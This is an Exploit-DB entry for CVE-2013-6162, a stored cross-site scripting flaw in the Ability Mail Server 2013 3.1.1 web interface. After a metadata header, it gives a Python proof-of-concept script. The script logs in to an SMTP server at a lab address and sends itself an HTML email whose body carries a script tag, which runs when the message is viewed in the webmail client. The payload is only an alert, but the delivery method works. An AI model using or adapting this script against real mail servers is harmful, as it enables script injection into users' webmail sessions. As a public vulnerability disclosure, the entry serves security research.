Ability Mail Server 2013 3.1.1 - Web UI Persistent Cross-Site Scripting

Author: David Um
type: remote
platform: windows
port: 
date_added: 2013-12-17 
date_updated: 2013-12-17 
verified: 1 
codes: CVE-2013-6162;OSVDB-101328 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt30500/screen-shot-2013-12-17-at-085830.png 
application_url: http://www.exploit-db.comams.exe

#!/usr/bin/env python

'''
Exploit Title: Ability Mail Server 2013 Stored XSS
Date: 12/20/2013
Exploit Author: David Um
Vendor Homepage: http://www.code-crafters.com/
Software Link: http://download.code-crafters.com/ams.exe
Version: 3.1.1
Tested on: Windows Server 2003 SP2
CVE : CVE-2013-6162
Description: This proof of concept demonstrates a stored XSS vulnerability in e-mail clients when JavaScript is inserted into the body of an e-mail.
'''

import smtplib

email_addr = 'user@hack.local'

email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: XSS\n'
email += 'Content-type: text/html\n\n'
email += '<script>alert("XSS")</script>'
s = smtplib.SMTP('192.168.58.140', 25)

s.login(email_addr, "user")
s.sendmail(email_addr, email_addr, email)
s.quit()